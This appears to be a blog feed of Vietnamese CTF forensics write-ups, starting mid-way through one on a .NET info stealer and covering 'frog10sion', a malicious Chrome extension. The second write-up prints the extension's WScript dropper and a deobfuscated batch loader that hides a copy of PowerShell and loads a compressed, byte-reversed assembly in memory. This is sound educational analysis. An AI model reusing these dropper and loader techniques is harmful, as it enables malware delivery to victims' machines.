&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/NostalgiaS/rkqBrH80el.png&quot; alt=&quot;Screenshot 2025-10-22 185057&quot; /&gt;&lt;/p&gt;
&lt;p&gt;chúng ta có thể dự đoán rất có khả năng file đó được biên dịch bằng .NET, cụ thể là C#&lt;/p&gt;
&lt;p&gt;chúng ta sẽ mở file này với &lt;strong&gt;dnspy&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/NostalgiaS/r1vCDrI0le.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Xem sơ qua thì đây là một con info stealer, với C2 là một &lt;em&gt;Discord Webhook&lt;/em&gt; (ảnh chụp bên trên có một phần cấu hình &lt;em&gt;Discord Webhook&lt;/em&gt;). Nhưng do bài hành vi của mã độc tác động nhiều đến việc lấy được flag, nên mình sẽ không đi sâu vào phân tích hành vi, hay C2 để đỡ mất thời gian.&lt;/p&gt;
&lt;p&gt;tiếp theo để ý ở class &lt;strong&gt;SystemSecretInformationCollector&lt;/strong&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/NostalgiaS/ry2T5H8Rll.png&quot; alt=&quot;Screenshot 2025-10-22 191347&quot; /&gt;
có thể thấy là nó đang cố decode và tạo một string gì đấy, bao gồm các kí tự như &lt;strong&gt;_&lt;/strong&gt;, &lt;strong&gt;}&lt;/strong&gt; =&amp;gt; rất giống format của một flag CTF. Hãy phân tích kĩ hàm này.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;using System;
using System.Collections.Generic;
using System.Text;
using Microsoft.Win32;

namespace StealerJanai.component.systeminfo
{
	// Token: 0x02000010 RID: 16
	public class SystemSecretInformationCollector
	{
		// Token: 0x06000037 RID: 55 RVA: 0x00003BB4 File Offset: 0x00001DB4
		public string Collect()
		{
			StringBuilder stringBuilder = new StringBuilder();
			try
			{
				string text = this.DecodeMagicToString(&quot;AuEcc3iNuamB9JOyfS1pel55JqxgJ83&quot;);
				string machineName = Environment.MachineName;
				string text2 = this.DecodeMagicToString(&quot;sA0m1sPHdceUL6HSvGAbFuhN&quot;);
				string registryValue = this.GetRegistryValue();
				string value = string.Concat(new string[]
				{
					text,
					machineName,
					&quot;_&quot;,
					text2,
					registryValue,
					&quot;}&quot;
				});
				stringBuilder.Append(value);
			}
			catch (Exception ex)
			{
				stringBuilder.AppendLine(string.Format(&quot;Error: {0}&quot;, ex.Message));
			}
			return stringBuilder.ToString();
		}

		// Token: 0x06000038 RID: 56 RVA: 0x00003C58 File Offset: 0x00001E58
		private string DecodeMagicToString(string input)
		{
			string result;
			try
			{
				if (string.IsNullOrEmpty(input))
				{
					result = string.Empty;
				}
				else
				{
					List&amp;lt;byte&amp;gt; list = new List&amp;lt;byte&amp;gt;();
					foreach (char value in input)
					{
						int num = &quot;0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz&quot;.IndexOf(value);
						if (num &amp;lt; 0)
						{
							return &quot;Invalid character&quot;;
						}
						int j = num;
						for (int k = list.Count - 1; k &amp;gt;= 0; k--)
						{
							int num2 = (int)(list[k] * 62) + j;
							list[k] = (byte)(num2 % 256);
							j = num2 / 256;
						}
						while (j &amp;gt; 0)
						{
							list.Insert(0, (byte)(j % 256));
							j /= 256;
						}
					}
					int num3 = 0;
					while (num3 &amp;lt; list.Count &amp;amp;&amp;amp; list[num3] == 0)
					{
						num3++;
					}
					if (num3 &amp;gt;= list.Count)
					{
						result = string.Empty;
					}
					else
					{
						byte[] array = new byte[list.Count - num3];
						for (int l = 0; l &amp;lt; array.Length; l++)
						{
							array[l] = list[num3 + l];
						}
						result = Encoding.ASCII.GetString(array);
					}
				}
			}
			catch (Exception ex)
			{
				result = &quot;Decode error: &quot; + ex.Message;
			}
			return result;
		}

		// Token: 0x06000039 RID: 57 RVA: 0x00003DC8 File Offset: 0x00001FC8
		private string GetRegistryValue()
		{
			string result;
			try
			{
				using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(&quot;SOFTWARE\\hensh1n&quot;))
				{
					if (registryKey != null)
					{
						object value = registryKey.GetValue(&quot;&quot;);
						if (value != null)
						{
							return value.ToString();
						}
					}
				}
				result = &quot;Registry key not found&quot;;
			}
			catch (Exception ex)
			{
				result = &quot;Registry error: &quot; + ex.Message;
			}
			return result;
		}

		// Token: 0x0400000B RID: 11
		private const string MagicChars = &quot;0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz&quot;;
	}
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ta có thể thấy&lt;/p&gt;
&lt;p&gt;hàm &lt;em&gt;public string Collect()&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Gọi DecodeMagicToString hai lần với hai hằng mã hoá, lấy Environment.MachineName, lấy giá trị registry &lt;strong&gt;SOFTWARE\hensh1n&lt;/strong&gt; qua GetRegistryValue(), rồi ghép thành chuỗi:
&lt;strong&gt;&amp;lt;decoded1&amp;gt;&amp;lt;MachineName&amp;gt;_&amp;lt;decoded2&amp;gt;&amp;lt;registryValue&amp;gt;}&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Mình đã giải mã hai chuỗi trong code (theo thuật toán class cung cấp):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;AuEcc3iNuamB9JOyfS1pel55JqxgJ83&quot; -&amp;gt; &lt;strong&gt;CSCV2025{your_computer_&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&quot;sA0m1sPHdceUL6HSvGAbFuhN&quot; -&amp;gt; &lt;strong&gt;has_be3n_kicked_by&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;còn lại &amp;lt;&lt;strong&gt;MachineName&lt;/strong&gt;&amp;gt; và &amp;lt;&lt;strong&gt;registryValue&lt;/strong&gt;&amp;gt; ở &lt;strong&gt;SOFTWARE\hensh1n&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;với &lt;strong&gt;MachineName&lt;/strong&gt; ta dễ dàng có được trong hive &lt;strong&gt;SYSTEM&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/NostalgiaS/SkeNCrURle.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;và &lt;strong&gt;registryValue&lt;/strong&gt; thì ở HKCU\SOFTWARE\hensh1n
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/NostalgiaS/Bkt30rLCge.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;kết hợp tất cả lại ta được flag:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CSCV2025{your_computer_DESKTOP-47ICHL6_has_be3n_kicked_by_HxrYJgdu}&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Cảm ơn các bạn đã đọc đến đây, chúc một ngày tốt lành&lt;/p&gt;
&lt;p&gt;(\_/)&lt;br /&gt;
(•.•)&lt;br /&gt;
(&amp;gt;☕&lt;/p&gt;
&lt;p&gt;SawG, a.k.a EagleBoiz&lt;/p&gt;
</content:encoded></item><item><title>FIA CTF CyberSus 2025 – frog10sion</title><link>https://sawg23.github.io/blog/posts/fiactf2025/frog10sion/</link><guid isPermaLink="true">https://sawg23.github.io/blog/posts/fiactf2025/frog10sion/</guid><description>Một trong những challenge Forensics trong giải FIA CTF CyberSus 2025</description><pubDate>Tue, 17 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Trong cuộc thi FIA CTF CyberSus 2025 của CLB FPT Information Assurance có một challenge thuộc mảng Forensics khá hay tên là &lt;strong&gt;frog10sion&lt;/strong&gt; và trong bài writeup này chúng ta sẽ mổ sẻ nó. Sẵn đây chúng ta sẽ &lt;em&gt;shout out cho anh Jerry Đặng&lt;/em&gt;, là author của bài này, cũng như là người dẫn dắt mình khi mới bước chân chập chững khi tìm hiểu về Forensics.&lt;/p&gt;
&lt;p&gt;Oke bắt đầu thôi.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/HkK26h67ex.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Oke thì theo như description của bài thì có vẽ S4m Sm1th muốn hack trường nên đã tải một phần mềm lạ về và có thể anh ta đã vô tình tải phải mã độc.&lt;/p&gt;
&lt;p&gt;Đề cho ta 1 file evidence.ad1
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/rJPO76pmex.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;như có thể thấy thì đây là 1 file disk image và sau khi tải về chúng ta sẽ sử dụng tool FTK Imager để mở nó.&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/rJjp7aTQgx.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;sau khi import file evidence vào thì ta thấy được là:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Nguồn dữ liệu: Thư mục &quot;C:\Users\Administrator\Desktop\Export\S4m Sm1th (AD1)&quot;.&lt;/li&gt;
&lt;li&gt;Cấu trúc thư mục: Bao gồm các thư mục con như 3D Objects, AppData, Contacts, Links, Music, Saved Games, Searches, và Videos.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Thì ta có thể hiểu đây là 1 lát cắt bao gồm các thư mục của máy tính nạn nhân, thì dựa vào đây ta sẽ bắt đầu tìm kiếm các dấu vết để lại của mã độc từ đó có thể hình dung được việc gì đã xảy ra.&lt;/p&gt;
&lt;p&gt;Quay lại description của tác giả, thì có đề cập đến việc đã tải một phần mềm lạ, chúng ta có thể bắt đầu từ manh mối này.&lt;/p&gt;
&lt;p&gt;Để tải một phần mềm gì đó, maybe nạn nhân đã sử dụng một trình duyệt web nào đó để tải, có thể lịch sử duyệt web có thể sẽ hữu ích trong trường hợp này.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;trong quá trình resreach về cách đề xem lịch sử duyệt web, thì tôi thấy trang web sau khá hữu ích:
https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location&lt;/p&gt;
&lt;p&gt;Trong bài viết có đề cập đến path sau:
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/HJglv66Xee.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Và có thể không phải ngẫu nhiên mà tác giả đã để lại thư mục &lt;strong&gt;App Data&lt;/strong&gt; cho chúng ta.&lt;/p&gt;
&lt;p&gt;Truy cập theo path trên thì tôi đã thấy được file History, và trong magic header nó cũng cho chúng ta biết đây là một file SQLite, chúng ta có thể sử dụng tool như &lt;em&gt;db Browser (SQLite)&lt;/em&gt; để mở nó sau khi đã dump nó ra.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/HkPRPpT7xe.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&apos;&apos;
Sau khi dump và load file &lt;strong&gt;History&lt;/strong&gt; này vào &lt;strong&gt;db Browser&lt;/strong&gt;, tôi tìm đến dữ liệu của bảng &lt;strong&gt;Downloads&lt;/strong&gt;, thì ở đây nó sẽ chứa tất cả các lịch sử download của nạn nhân.&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/H1VoKppXgx.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Và ở đây, ta thấy được là nạn nhân đã tải một file có tên
&lt;strong&gt;C:\Users\S4m Sm1th\Downloads\hack-fap-fpt-chrome-extension.zip&lt;/strong&gt;
Thì không còn gì bàn cãi, đây chính là phần mềm lạ mà S4m Sm1th đã tải về cũng như author đã đề trong description của đề.&lt;/p&gt;
&lt;p&gt;Nhưng, tiếp theo ta phải tìm file Zip này ở đâu? Tác giả đâu hề cho ta thư mục &lt;strong&gt;Download&lt;/strong&gt;.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/HJwioap7ex.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Sau một lục lọi và suy nghĩ lại thì toi trợ nhớ tên file có nhắc đến &lt;strong&gt;chrome-extension&lt;/strong&gt;, à há chắc là folder chứa malware này cần phải import thì mới có thể sử dụng.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Nhưng, import vào đâu?
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/HJwioap7ex.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Thì phải research thôi chứ sao. Sau một thoáng research thì tôi tìm được site sau:
https://www.ninjaone.com/blog/where-are-chrome-extensions-stored/&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/Syota6a7xe.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Truy cập theo path trên thì
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/rJmlR667le.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;
Có đến tận 4 cái extension, và khi import extension vào thì tên của bọn nó đã bị chrome encode đi, thì làm sao ta biết được entension nào là nguyên hiểm, chứa mã độc?
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/ryb006Tmxl.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Thì trong các folder extension này, đều có 1 file manifest.json, file này chứa các thông tin của extension dưới dạng json.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/BJhO1CTXxl.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Và lục lọi một tí thì toi thấy được extension &lt;strong&gt;hcekfkjfkcfoeohaponopofdhogpecif&lt;/strong&gt; có file manifest có đề cập đến &lt;em&gt;fap&lt;/em&gt;, và trong file .zip do nạn nhân tải về cũng có tên là &lt;strong&gt;hack-fap-fpt-chrome-extension.zip&lt;/strong&gt;, thì đây đích thị là nó.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/HJFweR6Qex.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;okela, dump nó ra để kiểm tra thoi.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;sau khi dump và mở folder extension này bằng vscode, và bắt đầu tìm kiếm những dấu vết đáng nghi thì mình thấy file &lt;strong&gt;Content.js&lt;/strong&gt; này có một hàm tên &lt;strong&gt;inject()&lt;/strong&gt; và có 1 biến &lt;strong&gt;aso_ibora&lt;/strong&gt; chứa một chuỗi kí tự vô cùng dài, thì theo kinh nghiệm của mình thì nó đang encode cho một thứ gì đó (trông nguy hiểm phết).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/BkhtbCa7xl.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;các bạn có thể thấy, nó rất rất dài&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/HkhcGApXgx.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;và lướt đến cuối chuỗi thì mình thấy đoạn code sau:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var silver = WScript.CreateObject(&quot;Microsoft.XMLDOM&quot;);

	var sinema = silver.createElement(&quot;tmp&quot;);

	sinema.dataType = &quot;bin.base64&quot;;

	sinema.text = aso_ibora;

	var sugar = WScript.CreateObject(&quot;ADODB.Stream&quot;);
	sugar.Type = 1;
	sugar.Open();
	sugar.Write(sinema.nodeTypedValue);
	var wshShell = WScript.CreateObject(&quot;WScript.Shell&quot;);
	var tempdir = wshShell.ExpandEnvironmentStrings(&quot;%temp%&quot;);
	var appdatadir = wshShell.ExpandEnvironmentStrings(&quot;%appdata%&quot;);
	var path = &quot;yum.bat&quot;;
	var is_temp = false;

	if (is_temp) {
		path = tempdir + &quot;\\&quot; + path;
	} else {
		path = appdatadir + &quot;\\&quot; + path;
	}

	sugar.SaveToFile(path, 2);
	if (path.endsWith(&quot;.jar&quot;)) {
		wshShell.run(&quot;java -jar \&quot;&quot; + path + &quot;\&quot;&quot;);
	} else if (path.endsWith(&quot;.bat&quot;) || path.endsWith(&quot;.wsf&quot;)) {
		wshShell.run(&quot;wscript \&quot;&quot; + path + &quot;\&quot;&quot;);
	} else {
		wshShell.run(&quot;\&quot;&quot; + path + &quot;\&quot;&quot;);
	}
	} catch (err) {
		WScript.Echo(err.message);
	}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;oke bắt đầu phân tích nào&lt;/p&gt;
&lt;p&gt;Đầu tiên&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var silver = WScript.CreateObject(&quot;Microsoft.XMLDOM&quot;);
var sinema = silver.createElement(&quot;tmp&quot;);
sinema.dataType = &quot;bin.base64&quot;;
sinema.text = aso_ibora;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;thì ta có thể thấy:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;var silver = WScript.CreateObject(&quot;Microsoft.XMLDOM&quot;);: Tạo đối tượng DOM XML.&lt;/li&gt;
&lt;li&gt;var sinema = silver.createElement(&quot;tmp&quot;);: Tạo phần tử &amp;lt;tmp&amp;gt;.&lt;/li&gt;
&lt;li&gt;sinema.dataType = &quot;bin.base64&quot;;: Đặt loại dữ liệu là Base64.&lt;/li&gt;
&lt;li&gt;sinema.text = aso_ibora;: Gán chuỗi Base64 từ aso_ibora vào &amp;lt;tmp&amp;gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Tóm lại nó sẽ tạo phần tử XML để nhúng dữ liệu nhị phân là chuỗi dữ liệu của biến &lt;strong&gt;aso_ibora&lt;/strong&gt; trên, cũng như là ta có thể xác nhận chuỗi đó là đang được encode theo kiểu Base64.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Tiếp theo:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var sugar = WScript.CreateObject(&quot;ADODB.Stream&quot;);
sugar.Type = 1;
sugar.Open();
sugar.Write(sinema.nodeTypedValue);
var wshShell = WScript.CreateObject(&quot;WScript.Shell&quot;);
var tempdir = wshShell.ExpandEnvironmentStrings(&quot;%temp%&quot;);
var appdatadir = wshShell.ExpandEnvironmentStrings(&quot;%appdata%&quot;);
var path = &quot;yum.bat&quot;;
var is_temp = false;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;var sugar = WScript.CreateObject(&quot;ADODB.Stream&quot;);: Tạo đối tượng luồng (stream) ADODB.&lt;/li&gt;
&lt;li&gt;sugar.Type = 1;: Đặt loại luồng là nhị phân (binary).&lt;/li&gt;
&lt;li&gt;sugar.Open();: Mở luồng để ghi dữ liệu.&lt;/li&gt;
&lt;li&gt;sugar.Write(sinema.nodeTypedValue);: Ghi dữ liệu nhị phân từ &lt;em&gt;sinema.nodeTypedValue&lt;/em&gt; vào luồng.&lt;/li&gt;
&lt;li&gt;var wshShell = WScript.CreateObject(&quot;WScript.Shell&quot;);: Tạo đối tượng Shell.&lt;/li&gt;
&lt;li&gt;var tempdir = wshShell.ExpandEnvironmentStrings(&quot;%temp%&quot;);: Lấy đường dẫn thư mục tạm (%temp%).&lt;/li&gt;
&lt;li&gt;var appdatadir = wshShell.ExpandEnvironmentStrings(&quot;%appdata%&quot;);: Lấy đường dẫn thư mục AppData (%appdata%).&lt;/li&gt;
&lt;li&gt;var path = &quot;yum.bat&quot;;: Định nghĩa tên tệp là &quot;yum.bat&quot;.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;tóm lại là nó sẽ chuẩn bị ghi dữ liệu nhị phân từ sinema vào tệp &quot;yum.bat&quot;, và gọi đến path của các thư mục như &lt;strong&gt;Tmp&lt;/strong&gt; hoặc &lt;strong&gt;AppData&lt;/strong&gt;, để có thể lưu vào ở bước tiếp theo.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Cuối cùng:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (is_temp) {
    path = tempdir + &quot;\\&quot; + path;
} else {
    path = appdatadir + &quot;\\&quot; + path;
}

sugar.SaveToFile(path, 2);
if (path.endsWith(&quot;.jar&quot;)) {
    wshShell.run(&quot;java -jar \&quot;&quot; + path + &quot;\&quot;&quot;);
} else if (path.endsWith(&quot;.bat&quot;) || path.endsWith(&quot;.wsf&quot;)) {
    wshShell.run(&quot;wscript \&quot;&quot; + path + &quot;\&quot;&quot;);
} else {
    wshShell.run(&quot;\&quot;&quot; + path + &quot;\&quot;&quot;);
}
} catch (err) {
    WScript.Echo(err.message);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Thì ở bước này nó sẽ lưu dữ liệu dưới dạng nhị phân đã xử lý ở trên vào file với đuôi như &lt;strong&gt;.bat&lt;/strong&gt; hoặc &lt;strong&gt;.wsf&lt;/strong&gt; và thực thi nó.&lt;/p&gt;
&lt;p&gt;Oke thì dựa vào những dấu hiệu bất thường trên, chúng ta có thể xác nhận đây có thể là dropper của mã độc.&lt;/p&gt;
&lt;p&gt;Tiếp theo, ta cần biết được đoạn base64 đó đang encode cho thứ gì. Copy và paste vào cyberchef để decode thử.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/BkGbF0a7lg.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;với các lệnh như REM, set thì chúng ta có thể nhận định nó đang encode cho một &lt;strong&gt;Batch Script&lt;/strong&gt;. Nhưng trông rất khó hiểu đúng không? Đúng rồi, vì nó đã bị obfuscate mà, cụ thể là &lt;strong&gt;String obfuscate&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Thực hiện deobfuscate thì ta được script sau:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@echo off
set &quot;RegistryKeyName_Channel=_NT_SYMBOL_CHANNEL_&quot;
reg add &quot;HKEY_CURRENT_USER\Environment&quot; /v %RegistryKeyName_Channel% /d &quot;1258850437876944929&quot; /f
set &quot;RegistryKeyName_ID=_NT_SYMBOL_ID&quot;
reg add &quot;HKEY_CURRENT_USER\Environment&quot; /v %RegistryKeyName_ID% /d &quot;1258850435972993145&quot; /f
echo F | xcopy /d /q /y /h /i &quot;C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe&quot; &quot;%~0.Qjv&quot; # Evasion
attrib +s +h &quot;%~0.Qjv&quot;
set &quot;CurrentScriptPath=%~dpnx0&quot;
&quot;%~0.Qjv&quot; -WindowStyle hidden -command &quot;$base64String = Get-Content &apos;%CurrentScriptPath%&apos; | select-object -Last 1; $compressedBytes = [System.Convert]::FromBase64String($base64String);$compressedStream = New-Object System.IO.MemoryStream( , $compressedBytes);$decompressedStream = New-Object System.IO.MemoryStream;$gzipStream = New-Object System.IO.Compression.GzipStream($compressedStream, [System.IO.Compression.CompressionMode]::Decompress);$gzipStream.CopyTo($decompressedStream);$gzipStream.Close();$compressedStream.Close();[byte[]]$decompressedPayloadBytes = $decompressedStream.ToArray();[Array]::Reverse($compressedBytes);$loadedAssembly = [System.Threading.Thread]::GetDomain().Load($decompressedPayloadBytes);$loadedAssembly.EntryPoint.DeclaredMethods[0].Invoke($null, [object[]]($null)) | Out-Null&quot;
exit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;như ta có thể thấy nó sẽ thêm một số key vào &lt;strong&gt;registry&lt;/strong&gt;, một hành vi khá phổ biến của các malware, bọn nó làm điều này nhằm tạo persistence lên máy nạn nhân.&lt;/p&gt;
&lt;p&gt;ngoài ra script sẽ gắn các biến môi trường vào bên trong máy. Sau đó thực hiện lệnh powershell.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Đọc dòng cuối của file&lt;/li&gt;
&lt;li&gt;Giải mã base64&lt;/li&gt;
&lt;li&gt;Decompress Gzip&lt;/li&gt;
&lt;li&gt;Đảo ngược chuỗi&lt;/li&gt;
&lt;li&gt;Load chương trình&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Oke khi hiểu được quá trình dropper của malware rồi, ta sẽ thử áp dụng thủ công các bước trên ta thu được 1 file &lt;strong&gt;.gz&lt;/strong&gt;
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/rk8NkyRmgx.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Tải về và ta sẽ thấy trong file &lt;strong&gt;.gz&lt;/strong&gt; này có chứa 1 file tên là &lt;strong&gt;stealer&lt;/strong&gt;
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/SkDZlJ0mxg.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Nhưng theo logic của lệnh powershell, thì thằng stealer này đã bị đảo ngược vị trí các byte. Để kiểm tra điều này thì ta cũng có thể giải nén và quăng vào tool &lt;strong&gt;HxD&lt;/strong&gt; để thấy rõ điều đó.&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/r1gxbkR7gl.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;
Thì ta sẽ thấy ZM ở cuối file, nếu đúng thì nó sẽ phải là MZ và sẽ nằm ở đầu file vì đây chính là magic header của file execute trên hđh windows 64-bit. Chứng tỏ thằng này đã bị &lt;strong&gt;reverse byte&lt;/strong&gt; theo đúng như logic powershell của thằng dropper.&lt;/p&gt;
&lt;p&gt;Chúng ta sẽ tiến hành reverse lại byte của file bằng cyberchef. Ta sẽ thu được 1 file execute:
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/HyJL7JRQgl.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Khi tải về thì ta sẽ thấy 1 file &lt;strong&gt;.exe&lt;/strong&gt; với icon là 1 trăn, dấu hiệu rất đặc trưng cho thấy nó đã được biên dịch bằng &lt;strong&gt;PyInstaller&lt;/strong&gt;
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/H1GKXJC7gl.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;
có thể tìm hiểu thêm ở đây (https://pyinstaller.org/en/stable/)&lt;/p&gt;
&lt;p&gt;Hoặc có thể sử dụng tool như Exeinfo PE để kiểm tra để chắc chắn hơn.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/r139SkAQgg.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
